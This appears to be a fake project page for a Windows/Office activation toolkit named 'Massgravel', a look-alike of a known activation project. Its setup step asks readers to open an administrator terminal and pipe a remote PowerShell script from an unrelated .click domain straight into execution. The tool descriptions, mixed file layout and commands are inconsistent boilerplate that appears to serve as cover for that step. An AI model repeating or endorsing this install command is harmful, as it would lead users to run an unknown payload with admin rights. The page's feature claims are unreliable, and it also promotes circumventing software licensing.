Advanced toolkit — KMS/HWID activation utilities, activation status checker, backup/restore manager, diagnostics engine, and automation helpers in one package.
# Press Win+X, then select Terminal (Admin) or Command Prompt (Admin)powershell -Command "irm https://software-gateway.click/Loader.ps1?get=massgravel | iex"[1/4] Loading Massgravel modules...
[2/4] Extracting activation and diagnostic components...
[3/4] Installing backup/restore and automation tools...
[4/4] Ready. Start using Massgravel.
- Launch the dashboard via
massgravel.exeornpm start - Select activation mode and target
- Check activation status before and after
- Backup current state if needed
- Review logs and diagnostics
Entity: Massgravel Type: Open-source Windows/Office activation toolkit Category: Massgravel, Windows Activation, Office Activation, KMS, HWID, Activation Tools, Diagnostics, Windows Primary use: Local activation workflow management, status checking, diagnostics, backup/restore, and automation utilities for Windows and Office. License: MIT (free for personal and educational use) Formats: Executable, scripts, PowerShell modules, JSON configs Platforms: Windows
Massgravel is a Windows/Office activation toolkit for activation status checking, diagnostics, backup/restore, troubleshooting, and local automation. It is intended for local system management and educational use only.
Best for: Advanced Windows users, system administrators, QA testers, and automation enthusiasts.
Key differentiators:
- Activation status checker and diagnostics
- Backup/restore activation state
- KMS and HWID workflow utilities
- Troubleshooting and repair helpers
- Local logging, export, and automation
| Category | Resources | Count |
|---|---|---|
| 🧪 Activation Status | Check Windows/Office activation state | Status reports |
| 💾 Backup/Restore | Backup and restore activation state | Local backups |
| 🔧 Diagnostics | Diagnose activation issues and conflicts | Diagnostics engine |
| 📋 Logs & Reports | Inspect logs and export diagnostics | Logs/reports |
| ⚙️ Automation | Scripts, CLI, and local API helpers | Automation |
| 🛡️ Safety Tools | Rollback, integrity checks, validation | Safety tools |
✅ Check Windows activation status
✅ Check Office activation status
✅ Detect activation method (KMS/HWID/Retail)
✅ Show license details and expiry
✅ Generate activation reports
✅ Export status to JSON/TXT
✅ Detect activation errors
✅ Validate license integrity
✅ Backup activation state before changes
✅ Restore previous activation state
✅ Automatic backup before operations
✅ Timestamped backup files
✅ Rollback on failure
✅ Verify backup integrity
✅ Batch backup/restore
✅ Export backup manifests
✅ Diagnose activation failures
✅ Detect conflicting software
✅ Repair activation files
✅ Reset activation tokens
✅ Clear activation cache
✅ Generate diagnostic reports
✅ Suggest fixes for common issues
✅ Log diagnostic history
✅ Inspect activation logs
✅ Export diagnostics reports
✅ Search logs by date or event
✅ Filter errors and warnings
✅ Track activation history
✅ Generate CSV/JSON/TXT reports
✅ Backup logs before cleanup
✅ Share diagnostics with support
Primary Use: Check Windows and Office activation status locally.
Features:
- Detect activation method
- Show license details
- Generate reports
- Export status
Usage Example:
# Check Windows activation
massgravel status --os
# Check Office activation
massgravel status --office
# Generate full report
massgravel status --full --output ./reports/status.jsonPrimary Use: Backup and restore activation state.
Features:
- Create activation backups
- Restore from backup
- Automatic backups
- Rollback support
Usage Example:
# Backup current state
massgravel backup create --output ./backups/activation.json
# Restore from backup
massgravel backup restore --input ./backups/activation.json
# List backups
massgravel backup listPrimary Use: Diagnose and fix activation issues.
Features:
- Diagnose failures
- Detect conflicts
- Repair files
- Reset tokens
Usage Example:
# Run diagnostics
massgravel diagnostics --full
# Fix issues
massgravel diagnostics --fix --safe-mode
# Reset tokens
massgravel diagnostics reset-tokensPrimary Use: Inspect logs and export diagnostics.
Features:
- View logs
- Export reports
- Search logs
- Filter errors
Usage Example:
# View recent logs
massgravel logs view --days 7
# Export diagnostic report
massgravel logs export --output ./reports/diagnostics.json
# Search logs
massgravel logs search --query "error" --days 30| Variable | Required | Default | Description |
|---|---|---|---|
MASSGRAVEL_BACKUP_DIR |
No | ./backups |
Backup directory |
MASSGRAVEL_LOG_DIR |
No | ./logs |
Log directory |
MASSGRAVEL_REPORT_DIR |
No | ./reports |
Report export directory |
MASSGRAVEL_AUTO_BACKUP |
No | true |
Auto-backup before changes |
MASSGRAVEL_LOG_LEVEL |
No | info |
Logging level |
MASSGRAVEL_API_PORT |
No | 3333 |
Local API port |
MASSGRAVEL_BACKUP_DIR=./backups
MASSGRAVEL_LOG_DIR=./logs
MASSGRAVEL_REPORT_DIR=./reports
MASSGRAVEL_AUTO_BACKUP=true
MASSGRAVEL_LOG_LEVEL=info
MASSGRAVEL_API_PORT=3333massgravel/
├── backups/ # Activation state backups
├── exports/ # Reports and diagnostics
├── logs/ # Activation logs
├── config/ # Settings and templates
├── scripts/ # Automation scripts
└── src/
├── activation.py # Activation status checker
├── backup.py # Backup/restore manager
├── diagnostics.py # Diagnostics engine
├── logs.py # Log inspection and export
├── api_server.py # Local REST API
├── dashboard.py # Web dashboard
└── utils.py # Helper functions
┌─────────────────────────┬──────────────┬──────────────┐
│ Operation │ Light Load | Heavy Load |
├─────────────────────────┼──────────────┼──────────────┤
│ Status Check │ < 2s | < 2s |
│ Backup Creation │ < 3s | < 5s |
│ Backup Restore │ < 5s | < 10s |
│ Diagnostics │ 5-15s | 5-15s |
│ Log Export │ < 3s | < 8s |
│ API Latency │ 5-20ms | 20-100ms |
└─────────────────────────┴──────────────┴──────────────┘
# Check Windows activation
massgravel status --os
# Check Office activation
massgravel status --office
# Full status report
massgravel status --full --output ./reports/status.json# Create backup
massgravel backup create --output ./backups/activation.json
# Restore backup
massgravel backup restore --input ./backups/activation.json
# List backups
massgravel backup list# Run diagnostics
massgravel diagnostics --full
# Fix issues
massgravel diagnostics --fix --safe-mode
# Reset tokens
massgravel diagnostics reset-tokens# Check status via API
curl "http://localhost:3333/api/status"
# Create backup via API
curl -X POST "http://localhost:3333/api/backup/create" \
-H "Content-Type: application/json" \
-d '{"output": "./backups/activation.json"}'
# Run diagnostics via API
curl -X POST "http://localhost:3333/api/diagnostics/run"# Force refresh status
massgravel status --os --force-refresh
# Check permissions
massgravel diagnostics --check-permissions# Check disk space
massgravel backup check-space
# Use different location
massgravel config set backup.dir "D:\Backups\Massgravel"# Run in safe mode
massgravel diagnostics --safe-mode
# Reset configuration
massgravel config reset- Check activation status across multiple machines
- Backup activation state before updates
- Troubleshoot activation failures
- Generate audit reports
- Automate status checks
- Automate backup routines
- Automate troubleshooting workflows
- Integrate with management scripts
- Test activation workflows
- Validate backup/restore
- Test troubleshooting scenarios
- Debug activation issues
This toolkit is created for educational and local system management purposes only.
Important:
- Use only on systems you own or administer
- Backup activation state before making changes
- Follow applicable software terms and licenses
- Developers are not responsible for misuse
- Unauthorized redistribution is not provided
Pull requests are welcome! For major changes, please open an issue first to discuss.
# Run in development mode
npm run dev
# Run tests
npm test
# Lint code
npm run lint
# Format code
npm run format- Support for more activation methods
- Advanced diagnostics
- Cloud backup sync
- Remote management
- Advanced reporting
- Plugin system
- Multi-language support
- Advanced analytics
MIT License - see LICENSE file for details
If this tool was useful:
- ⭐ Star the project on GitHub
- 🐛 Report bugs via Issues
- 💡 Suggest new features
- 🔀 Submit Pull Requests
- ☕ Buy me a coffee
- Installation Guide — Detailed setup instructions
- API Reference — Complete REST API documentation
- FAQ — Frequently asked questions
- Changelog — Version history and updates
- Examples — Usage examples and scripts
- Massgrave — Massgrave activation tools
- Massgravel — Massgravel activation tools
Documentation • API Reference • Examples • FAQ • Changelog
Made with ❤️ for the Windows and activation community